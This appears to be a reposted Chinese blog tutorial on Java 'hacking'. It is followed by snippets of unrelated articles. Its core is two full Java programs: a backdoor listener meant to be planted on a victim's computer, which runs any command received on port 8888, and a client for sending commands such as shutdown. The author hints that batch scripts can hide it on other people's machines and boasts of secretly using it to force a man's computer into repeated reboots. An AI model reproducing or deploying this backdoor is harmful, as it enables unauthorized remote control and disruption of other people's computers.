java也可以做黑客?

记得:Eric S. Raymond在他著名的文章《如何成为一名黑客》中,将Java列为五门黑客必备语言之一,其它四门分别是:C、C++、Perl、Python。

而Java最大的特性是系统无关性,通过JVM可以无缝应用在各种操作系统。编写出来的程序,根本不关联任何的操作系统特性,除非JNI调用C++的DLL,但这样还不如直接用DLL。到目前为止,我没有发现任何一个侵入软件,是用Java编写的。

其实,Java是可以编写数据包分析软件,或者浅层次的端口扫描软件的。今天咱们就一起来学习一个简单的程序吧!

一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。

关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

当然通过java来实现,确实有点困难,在这就不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本篇的研究范围,如有兴趣的童鞋可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new ServerSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("连接成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}

原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

本机的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main {

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("连接成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("输入命令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

注:

需要说明的是,这里能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。小姐姐就用着段简单的代码,让一个小哥哥的电脑频繁的重启,哈哈哈!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!欢迎评论留言,小姐姐一一回复!

原文地址:https://www.cnblogs.com/moon0201/p/10409276.html

时间: 2024-11-13 08:50:17

java也可以做黑客?的相关文章

.NET开发和java开发是做什么的?

.NET开发和java开发是做什么的?     .NET开发可以开发C/S结构的东西,如QQ,铁路售票的 可以开发企业级的管理系统,如酒店管理系统可以开发B/S结构的网站,如B2C,B2B,企业门户网站,可以开发企业级的管理系统,也就网页形式的. .NET就是微软用来实现XML,Web Services,SOA(面向服务的体系结构service-oriented architecture)和敏捷性的技术.对技术人员,想真正了解什么是.NET,必须先了解.NET技术出现的原因和它想解决的问题,必须

JAVA编程“性能说”(java编程需要做的26件事)

转载于 http://www.csdn.net/article/2012-06-01/2806249 最近的机器内存又爆满了,除了新增机器内存外,还应该好好review一下我们的代码,有很多代码编写过于随意化,这些不好的习惯或对程序语言的不了解是应该好好打压打压了. 下面是参考网络资源总结的一些在Java编程中尽可能要做到的一些地方. 1.尽量在合适的场合使用单例 使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面: 控

成都传智播客Java培训口碑做宣传

当今,信息技术日益成为现代组织实现创新和发展的重要手段,社会会对软件人才的需求持续增长,然而,一方面企业及组织聘不到合适的从业人员,另一方面又有众多的相关毕业生找不到合适的岗位.据此,成都传智播客特别推出了"Java开发工程师"培训班.欢迎有志从事且立足于软件业发展的学员报名参加本课程.我们期望这组课程将为您的职业生涯建立一个良好的开端和基础. [课程内容] 授课内容将结合目前业界主流的数据库系统.开发技术和环境分四个层次授课,第一个层次结合Oracle10i关系数据库管理系统讨论数据

Java 正确的做字符串编码转换

字符串的内部表示? 字符串在java中统一用unicode表示( 即utf-16 LE) , 对于 String s = "你好哦!"; 如果源码文件是GBK编码, 操作系统(windows)默认的环境编码为GBK,那么编译时,  JVM将 按照GBK编码将字节数组解析成字符,然后将字符转换为unicode格式的字节数组,作为内部存储. 当打印这个字符串时,JVM 根据操作系统本地的语言环境,将unicode转换为GBK,然后操作系统将GBK格式的内容显示出来. 当源码文件是UTF-8

摘抄-----java codeReview要做的事

整洁的代码 清单项目 分类 使用可以表达实际意图(Intention-Revealing)的名称 有意义的名称 每一个概念只用一个词 有意义的名称 使用方案/问题领域名称 有意义的名称 类应该是比较小的! 类 函数应该是比较小的! 函数 只做一件事 函数 DRY(Don’t Repeat Yourself)原则,(拒绝重复) 函数 用代码来解释自己的做法(译者注:即代码注释) 注释 确定应用了代码格式化 格式 使用异常而不是返回码 异常 不要返回Null 异常 *参考自:http://techb

Java工程师能做什么工作

当下在这个越发重视IT技术的时代,越来越多的人也开始重视自己IT技术的培养,当下若是掌握了一门热门的IT技术,那么高薪就业绝对是没有什么大问题的,在当下IT技术中,Java技术一向引人注目,想成为Java工程师的朋友是大有人在,那么Java工程师能做什么工作呢?跟长沙尚学堂小编往下看. 很多人对Java工程师的最初印象就是多金,因为Java工程师起点薪资在众多工程师中就比较高,还有个很深刻的印象,就是Java工程师人才缺口,真的可以用惊人来形容,根据IDC的统计数字,在对所有软件开发人才需求当中

哪里可以找到基于JAVA设计帮做的超市管理系统

一,关于我们我们是专业从事于定做计算机相关毕业设计,拥有专业的写手团队和严格的保密制度.我们的工程师们在软件工程开发与设计的各个领域积累了丰富的经验,保证服务水平.我们致力于为客户提供各专业高质量的毕业设计定做服务,为即将毕业的同学提供毕业设计指导.毕设代做.毕设定制等一站式服务.强大的专业能力,高效的服务水平,多年以来一直深得客户好评,毕业只有一次,我们将尽心尽力为你完成毕设. 联系我们:.扣.扣.号(幺零三贰三七幺贰幺) 与我们取得联系,向我们提出您的写作要求:我们咨询师会根据您的服务需求和

小tips:用java模拟小球做抛物线运动

这几天刚刚学习了java线程,然后跟着书做了几个关于线程的练习,其中有一个练习题是小球动起来.这个相信很简单,只要运用线程就轻松能够实现.然后看到了它的一个课后思考题,怎样让小球做个抛物线运动,这点我调试了很久,上网也找了很多资料,但是没有那种适合我们小白的教程,于是我简单讲讲我的思路.我将从如何画一个小球开始到一步步实现小球进行抛物线运动.嘿嘿!! 一.任务分解 现在我们来做抛物线运动的小球,先不急写代码,先来想象一下做好的结果是什么样子的.我将这个任务分成三步,第一步,画一个小球:第二步,该

Java程序代写代做|代写JAVA代码|帮做java编程: Control Flow Oriented Coverage Test Procedures

Task: Control Flow Oriented Coverage Test ProceduresIn the so-called branch coverage test, the test case quantity for a Program P be compiled so that each edge of the control flow graph of P (see, for example, Fig. 1: You already know an equivalent r